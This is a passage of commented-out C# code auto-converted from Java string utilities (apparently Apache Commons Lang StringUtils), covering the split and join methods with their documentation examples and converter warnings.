StringUtils.splitByWholeSeparatorPreserveAllTokens(null, *, *) = null // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("", *, *) = [] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab de fg", null, 0) = ["ab", "de", "fg"] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab de fg", null, 0) = ["ab", "", "", "de", "fg"] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab:cd:ef", ":", 2) = ["ab", "cd:ef"] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab-!-cd-!-ef", "-!-", 5) = ["ab", "cd", "ef"] // /// StringUtils.splitByWholeSeparatorPreserveAllTokens("ab-!-cd-!-ef", "-!-", 2) = ["ab", "cd-!-ef"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be null </param> // /// <param name="separator"> String containing the String to be used as a delimiter, // /// {@code null} splits on whitespace </param> // /// <param name="max"> the maximum number of elements to include in the returned // /// array. A zero or negative value implies no limit. </param> // /// <returns> an array of parsed Strings, {@code null} if null String was input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitByWholeSeparatorPreserveAllTokens(final String str, final String separator, final int max) // public static string[] splitByWholeSeparatorPreserveAllTokens(string str, string separator, int max) // { // return splitByWholeSeparatorWorker(str, separator, max, true); // } // /// <summary> // /// Performs the logic for the {@code splitByWholeSeparatorPreserveAllTokens} methods. // /// </summary> // /// <param name="str"> the String to parse, may be {@code null} </param> // /// <param name="separator"> String containing the String to be used as a delimiter, // /// {@code null} splits on whitespace </param> // /// <param name="max"> the maximum number of elements to include in the returned // /// array. A zero or negative value implies no limit. </param> // /// <param name="preserveAllTokens"> if {@code true}, adjacent separators are // /// treated as empty token separators; if {@code false}, adjacent // /// separators are treated as one separator. </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String[] splitByWholeSeparatorWorker(final String str, final String separator, final int max, final boolean preserveAllTokens) // private static string[] splitByWholeSeparatorWorker(string str, string separator, int max, bool preserveAllTokens) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int len = str.length(); // int len = str.Length; // if (len == 0) // { // return ArrayUtils.EMPTY_STRING_ARRAY; // } // if (string.ReferenceEquals(separator, null) || EMPTY.Equals(separator)) // { // // Split on whitespace. // return splitWorker(str, null, max, preserveAllTokens); // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int separatorLength = separator.length(); // int separatorLength = separator.Length; // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final java.util.ArrayList<String> substrings = new java.util.ArrayList<>(); // List<string> substrings = new List<string>(); // int numberOfSubstrings = 0; // int beg = 0; // int end = 0; // while (end < len) // { // end = str.IndexOf(separator, beg, StringComparison.Ordinal); // if (end > -1) // { // if (end > beg) // { // numberOfSubstrings += 1; // if (numberOfSubstrings == max) // { // end = len; // substrings.Add(str.Substring(beg)); // } // else // { // // The following is OK, because String.substring( beg, end ) excludes // // the character at the position 'end'. // substrings.Add(str.Substring(beg, end - beg)); // // Set the starting point for the next search. // // The following is equivalent to beg = end + (separatorLength - 1) + 1, // // which is the right calculation: // beg = end + separatorLength; // } // } // else // { // // We found a consecutive occurrence of the separator, so skip it. // if (preserveAllTokens) // { // numberOfSubstrings += 1; // if (numberOfSubstrings == max) // { // end = len; // substrings.Add(str.Substring(beg)); // } // else // { // substrings.Add(EMPTY); // } // } // beg = end + separatorLength; // } // } // else // { // // String.substring( beg ) goes from 'beg' to the end of the String. // substrings.Add(str.Substring(beg)); // end = len; // } // } // return substrings.ToArray(); // } // // ----------------------------------------------------------------------- // /// <summary> // /// <para>Splits the provided text into an array, using whitespace as the // /// separator, preserving all tokens, including empty tokens created by // /// adjacent separators. This is an alternative to using StringTokenizer. // /// Whitespace is defined by <seealso cref="Character#isWhitespace(char)"/>.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as separators for empty tokens. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.splitPreserveAllTokens(null) = null // /// StringUtils.splitPreserveAllTokens("") = [] // /// StringUtils.splitPreserveAllTokens("abc def") = ["abc", "def"] // /// StringUtils.splitPreserveAllTokens("abc def") = ["abc", "", "def"] // /// StringUtils.splitPreserveAllTokens(" abc ") = ["", "abc", ""] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be {@code null} </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.1 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitPreserveAllTokens(final String str) // public static string[] splitPreserveAllTokens(string str) // { // return splitWorker(str, null, -1, true); // } // /// <summary> // /// <para>Splits the provided text into an array, separator specified, // /// preserving all tokens, including empty tokens created by adjacent // /// separators. This is an alternative to using StringTokenizer.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as separators for empty tokens. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}.</para> // /// // /// <pre> // /// StringUtils.splitPreserveAllTokens(null, *) = null // /// StringUtils.splitPreserveAllTokens("", *) = [] // /// StringUtils.splitPreserveAllTokens("a.b.c", '.') = ["a", "b", "c"] // /// StringUtils.splitPreserveAllTokens("a..b.c", '.') = ["a", "", "b", "c"] // /// StringUtils.splitPreserveAllTokens("a:b:c", '.') = ["a:b:c"] // /// StringUtils.splitPreserveAllTokens("a\tb\nc", null) = ["a", "b", "c"] // /// StringUtils.splitPreserveAllTokens("a b c", ' ') = ["a", "b", "c"] // /// StringUtils.splitPreserveAllTokens("a b c ", ' ') = ["a", "b", "c", ""] // /// StringUtils.splitPreserveAllTokens("a b c ", ' ') = ["a", "b", "c", "", ""] // /// StringUtils.splitPreserveAllTokens(" a b c", ' ') = ["", a", "b", "c"] // /// StringUtils.splitPreserveAllTokens(" a b c", ' ') = ["", "", a", "b", "c"] // /// StringUtils.splitPreserveAllTokens(" a b c ", ' ') = ["", a", "b", "c", ""] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be {@code null} </param> // /// <param name="separatorChar"> the character used as the delimiter, // /// {@code null} splits on whitespace </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.1 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitPreserveAllTokens(final String str, final char separatorChar) // public static string[] splitPreserveAllTokens(string str, char separatorChar) // { // return splitWorker(str, separatorChar, true); // } // /// <summary> // /// Performs the logic for the {@code split} and // /// {@code splitPreserveAllTokens} methods that do not return a // /// maximum array length. // /// </summary> // /// <param name="str"> the String to parse, may be {@code null} </param> // /// <param name="separatorChar"> the separate character </param> // /// <param name="preserveAllTokens"> if {@code true}, adjacent separators are // /// treated as empty token separators; if {@code false}, adjacent // /// separators are treated as one separator. </param> // /// <returns> an array of parsed Strings, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String[] splitWorker(final String str, final char separatorChar, final boolean preserveAllTokens) // private static string[] splitWorker(string str, char separatorChar, bool preserveAllTokens) // { // // Performance tuned for 2.0 (JDK1.4) // if (string.ReferenceEquals(str, null)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int len = str.length(); // int len = str.Length; // if (len == 0) // { // return ArrayUtils.EMPTY_STRING_ARRAY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final java.util.List<String> list = new java.util.ArrayList<>(); // IList<string> list = new List<string>(); // int i = 0, start = 0; // bool match = false; // bool lastMatch = false; // while (i < len) // { // if (str[i] == separatorChar) // { // if (match || preserveAllTokens) // { // list.Add(str.Substring(start, i - start)); // match = false; // lastMatch = true; // } // start = ++i; // continue; // } // lastMatch = false; // match = true; // i++; // } // if (match || preserveAllTokens && lastMatch) // { // list.Add(str.Substring(start, i - start)); // } // return list.ToArray(); // } // /// <summary> // /// <para>Splits the provided text into an array, separators specified, // /// preserving all tokens, including empty tokens created by adjacent // /// separators. This is an alternative to using StringTokenizer.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as separators for empty tokens. // /// For more control over the split use the StrTokenizer class.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separatorChars splits on whitespace.</para> // /// // /// <pre> // /// StringUtils.splitPreserveAllTokens(null, *) = null // /// StringUtils.splitPreserveAllTokens("", *) = [] // /// StringUtils.splitPreserveAllTokens("abc def", null) = ["abc", "def"] // /// StringUtils.splitPreserveAllTokens("abc def", " ") = ["abc", "def"] // /// StringUtils.splitPreserveAllTokens("abc def", " ") = ["abc", "", def"] // /// StringUtils.splitPreserveAllTokens("ab:cd:ef", ":") = ["ab", "cd", "ef"] // /// StringUtils.splitPreserveAllTokens("ab:cd:ef:", ":") = ["ab", "cd", "ef", ""] // /// StringUtils.splitPreserveAllTokens("ab:cd:ef::", ":") = ["ab", "cd", "ef", "", ""] // /// StringUtils.splitPreserveAllTokens("ab::cd:ef", ":") = ["ab", "", cd", "ef"] // /// StringUtils.splitPreserveAllTokens(":cd:ef", ":") = ["", cd", "ef"] // /// StringUtils.splitPreserveAllTokens("::cd:ef", ":") = ["", "", cd", "ef"] // /// StringUtils.splitPreserveAllTokens(":cd:ef:", ":") = ["", cd", "ef", ""] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be {@code null} </param> // /// <param name="separatorChars"> the characters used as the delimiters, // /// {@code null} splits on whitespace </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.1 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitPreserveAllTokens(final String str, final String separatorChars) // public static string[] splitPreserveAllTokens(string str, string separatorChars) // { // return splitWorker(str, separatorChars, -1, true); // } // /// <summary> // /// <para>Splits the provided text into an array with a maximum length, // /// separators specified, preserving all tokens, including empty tokens // /// created by adjacent separators.</para> // /// // /// <para>The separator is not included in the returned String array. // /// Adjacent separators are treated as separators for empty tokens. // /// Adjacent separators are treated as one separator.</para> // /// // /// <para>A {@code null} input String returns {@code null}. // /// A {@code null} separatorChars splits on whitespace.</para> // /// // /// <para>If more than {@code max} delimited substrings are found, the last // /// returned string includes all characters after the first {@code max - 1} // /// returned strings (including separator characters).</para> // /// // /// <pre> // /// StringUtils.splitPreserveAllTokens(null, *, *) = null // /// StringUtils.splitPreserveAllTokens("", *, *) = [] // /// StringUtils.splitPreserveAllTokens("ab de fg", null, 0) = ["ab", "cd", "ef"] // /// StringUtils.splitPreserveAllTokens("ab de fg", null, 0) = ["ab", "cd", "ef"] // /// StringUtils.splitPreserveAllTokens("ab:cd:ef", ":", 0) = ["ab", "cd", "ef"] // /// StringUtils.splitPreserveAllTokens("ab:cd:ef", ":", 2) = ["ab", "cd:ef"] // /// StringUtils.splitPreserveAllTokens("ab de fg", null, 2) = ["ab", " de fg"] // /// StringUtils.splitPreserveAllTokens("ab de fg", null, 3) = ["ab", "", " de fg"] // /// StringUtils.splitPreserveAllTokens("ab de fg", null, 4) = ["ab", "", "", "de fg"] // /// </pre> // /// </summary> // /// <param name="str"> the String to parse, may be {@code null} </param> // /// <param name="separatorChars"> the characters used as the delimiters, // /// {@code null} splits on whitespace </param> // /// <param name="max"> the maximum number of elements to include in the // /// array. A zero or negative value implies no limit </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.1 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitPreserveAllTokens(final String str, final String separatorChars, final int max) // public static string[] splitPreserveAllTokens(string str, string separatorChars, int max) // { // return splitWorker(str, separatorChars, max, true); // } // /// <summary> // /// Performs the logic for the {@code split} and // /// {@code splitPreserveAllTokens} methods that return a maximum array // /// length. // /// </summary> // /// <param name="str"> the String to parse, may be {@code null} </param> // /// <param name="separatorChars"> the separate character </param> // /// <param name="max"> the maximum number of elements to include in the // /// array. A zero or negative value implies no limit. </param> // /// <param name="preserveAllTokens"> if {@code true}, adjacent separators are // /// treated as empty token separators; if {@code false}, adjacent // /// separators are treated as one separator. </param> // /// <returns> an array of parsed Strings, {@code null} if null String input </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String[] splitWorker(final String str, final String separatorChars, final int max, final boolean preserveAllTokens) // private static string[] splitWorker(string str, string separatorChars, int max, bool preserveAllTokens) // { // // Performance tuned for 2.0 (JDK1.4) // // Direct code is quicker than StringTokenizer. // // Also, StringTokenizer uses isSpace() not isWhitespace() // if (string.ReferenceEquals(str, null)) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int len = str.length(); // int len = str.Length; // if (len == 0) // { // return ArrayUtils.EMPTY_STRING_ARRAY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final java.util.List<String> list = new java.util.ArrayList<>(); // IList<string> list = new List<string>(); // int sizePlus1 = 1; // int i = 0, start = 0; // bool match = false; // bool lastMatch = false; // if (string.ReferenceEquals(separatorChars, null)) // { // // Null separator means use whitespace // while (i < len) // { // if (char.IsWhiteSpace(str[i])) // { // if (match || preserveAllTokens) // { // lastMatch = true; // if (sizePlus1++ == max) // { // i = len; // lastMatch = false; // } // list.Add(str.Substring(start, i - start)); // match = false; // } // start = ++i; // continue; // } // lastMatch = false; // match = true; // i++; // } // } // else if (separatorChars.Length == 1) // { // // Optimise 1 character case // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char sep = separatorChars.charAt(0); // char sep = separatorChars[0]; // while (i < len) // { // if (str[i] == sep) // { // if (match || preserveAllTokens) // { // lastMatch = true; // if (sizePlus1++ == max) // { // i = len; // lastMatch = false; // } // list.Add(str.Substring(start, i - start)); // match = false; // } // start = ++i; // continue; // } // lastMatch = false; // match = true; // i++; // } // } // else // { // // standard case // while (i < len) // { // if (separatorChars.IndexOf(str[i]) >= 0) // { // if (match || preserveAllTokens) // { // lastMatch = true; // if (sizePlus1++ == max) // { // i = len; // lastMatch = false; // } // list.Add(str.Substring(start, i - start)); // match = false; // } // start = ++i; // continue; // } // lastMatch = false; // match = true; // i++; // } // } // if (match || preserveAllTokens && lastMatch) // { // list.Add(str.Substring(start, i - start)); // } // return list.ToArray(); // } // /// <summary> // /// <para>Splits a String by Character type as returned by // /// {@code java.lang.Character.getType(char)}. Groups of contiguous // /// characters of the same type are returned as complete tokens. // /// <pre> // /// StringUtils.splitByCharacterType(null) = null // /// StringUtils.splitByCharacterType("") = [] // /// StringUtils.splitByCharacterType("ab de fg") = ["ab", " ", "de", " ", "fg"] // /// StringUtils.splitByCharacterType("ab de fg") = ["ab", " ", "de", " ", "fg"] // /// StringUtils.splitByCharacterType("ab:cd:ef") = ["ab", ":", "cd", ":", "ef"] // /// StringUtils.splitByCharacterType("number5") = ["number", "5"] // /// StringUtils.splitByCharacterType("fooBar") = ["foo", "B", "ar"] // /// StringUtils.splitByCharacterType("foo200Bar") = ["foo", "200", "B", "ar"] // /// StringUtils.splitByCharacterType("ASFRules") = ["ASFR", "ules"] // /// </pre> // /// </para> // /// </summary> // /// <param name="str"> the String to split, may be {@code null} </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitByCharacterType(final String str) // public static string[] splitByCharacterType(string str) // { // return splitByCharacterType(str, false); // } // /// <summary> // /// <para>Splits a String by Character type as returned by // /// {@code java.lang.Character.getType(char)}. Groups of contiguous // /// characters of the same type are returned as complete tokens, with the // /// following exception: the character of type // /// {@code Character.UPPERCASE_LETTER}, if any, immediately // /// preceding a token of type {@code Character.LOWERCASE_LETTER} // /// will belong to the following token rather than to the preceding, if any, // /// {@code Character.UPPERCASE_LETTER} token. // /// <pre> // /// StringUtils.splitByCharacterTypeCamelCase(null) = null // /// StringUtils.splitByCharacterTypeCamelCase("") = [] // /// StringUtils.splitByCharacterTypeCamelCase("ab de fg") = ["ab", " ", "de", " ", "fg"] // /// StringUtils.splitByCharacterTypeCamelCase("ab de fg") = ["ab", " ", "de", " ", "fg"] // /// StringUtils.splitByCharacterTypeCamelCase("ab:cd:ef") = ["ab", ":", "cd", ":", "ef"] // /// StringUtils.splitByCharacterTypeCamelCase("number5") = ["number", "5"] // /// StringUtils.splitByCharacterTypeCamelCase("fooBar") = ["foo", "Bar"] // /// StringUtils.splitByCharacterTypeCamelCase("foo200Bar") = ["foo", "200", "Bar"] // /// StringUtils.splitByCharacterTypeCamelCase("ASFRules") = ["ASF", "Rules"] // /// </pre> // /// </para> // /// </summary> // /// <param name="str"> the String to split, may be {@code null} </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String[] splitByCharacterTypeCamelCase(final String str) // public static string[] splitByCharacterTypeCamelCase(string str) // { // return splitByCharacterType(str, true); // } // /// <summary> // /// <para>Splits a String by Character type as returned by // /// {@code java.lang.Character.getType(char)}. Groups of contiguous // /// characters of the same type are returned as complete tokens, with the // /// following exception: if {@code camelCase} is {@code true}, // /// the character of type {@code Character.UPPERCASE_LETTER}, if any, // /// immediately preceding a token of type {@code Character.LOWERCASE_LETTER} // /// will belong to the following token rather than to the preceding, if any, // /// {@code Character.UPPERCASE_LETTER} token. // /// </para> // /// </summary> // /// <param name="str"> the String to split, may be {@code null} </param> // /// <param name="camelCase"> whether to use so-called "camel-case" for letter types </param> // /// <returns> an array of parsed Strings, {@code null} if null String input // /// @since 2.4 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: private static String[] splitByCharacterType(final String str, final boolean camelCase) // private static string[] splitByCharacterType(string str, bool camelCase) // { // if (string.ReferenceEquals(str, null)) // { // return null; // } // if (str.Length == 0) // { // return ArrayUtils.EMPTY_STRING_ARRAY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final char[] c = str.toCharArray(); // char[] c = str.ToCharArray(); // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final java.util.List<String> list = new java.util.ArrayList<>(); // IList<string> list = new List<string>(); // int tokenStart = 0; // int currentType = char.GetUnicodeCategory(c[tokenStart]); // for (int pos = tokenStart + 1; pos < c.Length; pos++) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int type = Character.getType(c[pos]); // int type = char.GetUnicodeCategory(c[pos]); // if (type == currentType) // { // continue; // } // if (camelCase && type == UnicodeCategory.LowercaseLetter && currentType == UnicodeCategory.UppercaseLetter) // { // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int newTokenStart = pos - 1; // int newTokenStart = pos - 1; // if (newTokenStart != tokenStart) // { // list.Add(new string(c, tokenStart, newTokenStart - tokenStart)); // tokenStart = newTokenStart; // } // } // else // { // list.Add(new string(c, tokenStart, pos - tokenStart)); // tokenStart = pos; // } // currentType = type; // } // list.Add(new string(c, tokenStart, c.Length - tokenStart)); // return list.ToArray(); // } // // Joining // //----------------------------------------------------------------------- // /// <summary> // /// <para>Joins the elements of the provided array into a single String // /// containing the provided list of elements.</para> // /// // /// <para>No separator is added to the joined String. // /// Null objects or empty strings within the array are represented by // /// empty strings.</para> // /// // /// <pre> // /// StringUtils.join(null) = null // /// StringUtils.join([]) = "" // /// StringUtils.join([null]) = "" // /// StringUtils.join(["a", "b", "c"]) = "abc" // /// StringUtils.join([null, "", "a"]) = "a" // /// </pre> // /// </summary> // /// @param <T> the specific type of values to join together </param> // /// <param name="elements"> the values to join together, may be null </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 2.0 // /// @since 3.0 Changed signature to use varargs </returns> // //JAVA TO C# CONVERTER TODO TASK: Most Java annotations will not have direct .NET equivalent attributes: // //ORIGINAL LINE: @SafeVarargs public static <T> String join(final T... elements) // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // public static string join<T>(params T[] elements) // { // return join(elements, null); // } // /// <summary> // /// <para>Joins the elements of the provided array into a single String // /// containing the provided list of elements.</para> // /// // /// <para>No delimiter is added before or after the list. // /// Null objects or empty strings within the array are represented by // /// empty strings.</para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join(["a", "b", "c"], ';') = "a;b;c" // /// StringUtils.join(["a", "b", "c"], null) = "abc" // /// StringUtils.join([null, "", "a"], ';') = ";;a" // /// </pre> // /// </summary> // /// <param name="array"> the array of values to join together, may be null </param> // /// <param name="separator"> the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final Object[] array, final char separator) // public static string join(object[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final long[] array, final char separator) // public static string join(long[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final int[] array, final char separator) // public static string join(int[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final short[] array, final char separator) // public static string join(short[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final byte[] array, final char separator) // public static string join(sbyte[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final char[] array, final char separator) // public static string join(char[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final float[] array, final char separator) // public static string join(float[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join([1, 2, 3], ';') = "1;2;3" // /// StringUtils.join([1, 2, 3], null) = "123" // /// </pre> // /// </summary> // /// <param name="array"> // /// the array of values to join together, may be null </param> // /// <param name="separator"> // /// the separator character to use </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 3.2 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final double[] array, final char separator) // public static string join(double[] array, char separator) // { // if (array == null) // { // return null; // } // return join(array, separator, 0, array.Length); // } // /// <summary> // /// <para>Joins the elements of the provided array into a single String // /// containing the provided list of elements.</para> // /// // /// <para>No delimiter is added before or after the list. // /// Null objects or empty strings within the array are represented by // /// empty strings.</para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// StringUtils.join([null], *) = "" // /// StringUtils.join(["a", "b", "c"], ';') = "a;b;c" // /// StringUtils.join(["a", "b", "c"], null) = "abc" // /// StringUtils.join([null, "", "a"], ';') = ";;a" // /// </pre> // /// </summary> // /// <param name="array"> the array of values to join together, may be null </param> // /// <param name="separator"> the separator character to use </param> // /// <param name="startIndex"> the first index to start joining from. It is // /// an error to pass in an end index past the end of the array </param> // /// <param name="endIndex"> the index to stop joining from (exclusive). It is // /// an error to pass in an end index past the end of the array </param> // /// <returns> the joined String, {@code null} if null array input // /// @since 2.0 </returns> // //JAVA TO C# CONVERTER WARNING: 'final' parameters are not available in .NET: // //ORIGINAL LINE: public static String join(final Object[] array, final char separator, final int startIndex, final int endIndex) // public static string join(object[] array, char separator, int startIndex, int endIndex) // { // if (array == null) // { // return null; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final int noOfItems = endIndex - startIndex; // int noOfItems = endIndex - startIndex; // if (noOfItems <= 0) // { // return EMPTY; // } // //JAVA TO C# CONVERTER WARNING: The original Java variable was marked 'final': // //ORIGINAL LINE: final StringBuilder buf = new StringBuilder(noOfItems * 16); // StringBuilder buf = new StringBuilder(noOfItems * 16); // for (int i = startIndex; i < endIndex; i++) // { // if (i > startIndex) // { // buf.Append(separator); // } // if (array[i] != null) // { // buf.Append(array[i]); // } // } // return buf.ToString(); // } // /// <summary> // /// <para> // /// Joins the elements of the provided array into a single String containing the provided list of elements. // /// </para> // /// // /// <para> // /// No delimiter is added before or after the list. Null objects or empty strings within the array are represented // /// by empty strings. // /// </para> // /// // /// <pre> // /// StringUtils.join(null, *) = null // /// StringUtils.join([], *) = "" // /// 